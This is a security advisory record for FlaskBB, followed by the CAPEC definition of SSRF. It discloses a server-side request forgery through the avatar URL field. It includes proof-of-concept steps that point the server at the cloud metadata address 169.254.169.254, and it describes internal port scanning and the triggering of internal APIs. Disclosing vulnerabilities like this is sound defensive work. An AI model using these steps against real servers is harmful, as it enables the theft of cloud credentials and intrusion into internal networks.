  "details": "###Summary\nA Server-Side Request Forgery (SSRF) vulnerability in get_image_info() allows any authenticated user to force the server to send HTTP requests to arbitrary internal endpoints, including cloud metadata services (e.g., AWS 169.254.169.254). This is a blind SSRF with confirmed internal port scanning and internal API triggering capabilities. CVSS 6.5 Medium.\n\n###Details\nIn flaskbb/utils/helpers.py (line 571), the url parameter is passed directly to requests.get(url, stream=True) without any validation of scheme, host, or IP address.\n```\npython# flaskbb/utils/helpers.py:571\ndef get_image_info(url: str):\n    r = requests.get(url, timeout=(3.05, 27), stream=True)\n```\n\nAttack chain:\n\n```\nPOST /user/settings/user-details (avatar URL)\n\u2192 ValidateAvatarURL.validate()    # validators.py:103\n\u2192 check_image(avatar)             # helpers.py:628\n\u2192 get_image_info(url)             # helpers.py:571\n\u2192 requests.get(url)               # No domain/IP restriction\nEntry points:\n\n/user/settings/user-details (any authenticated user)\n/admin/users/\u003cid\u003e/edit (admin only)\n\n```\n\n###PoC\n[submit.zip](https://github.com/user-attachments/files/26301527/submit.zip)\n\nLog in to FlaskBB as any user\nNavigate to Settings \u2192 User Details\nEnter http://169.254.169.254/latest/meta-data/ as the avatar URL\nSubmit the form\nThe server sends a GET request to the internal metadata endpoint\n\nThree exploitation channels confirmed:\n\nServer-side request: Captured on mock metadata server\nInternal port scan: check_image() returns distinct errors (CONN_REFUSED, NO_CONTENT_LENGTH, TYPE_NOT_ALLOWED, SUCCESS) that map internal network topology\nInternal API triggering: Mock APIs on 127.0.0.1:9200 triggered via SSRF (deploy, shutdown, key dump endpoints)\n\n###Impact\nAny authenticated user is impacted. Attackers can force the server to request internal services, cloud metadata endpoints, or private network resources. On cloud deployments (AWS/GCP/Azure), IAM credentials can be leaked. In production, any GET-triggered internal service is reachable: CI/CD webhooks, Elasticsearch, etcd, Consul, etc.",
  "id": "GHSA-xq32-9g7q-7297",
  "modified": "2026-05-21T20:42:09Z",
  "published": "2026-05-21T20:42:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flaskbb/flaskbb/security/advisories/GHSA-xq32-9g7q-7297"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flaskbb/flaskbb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlaskBB: SSRF in get_image_info() via unrestricted avatar URL"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.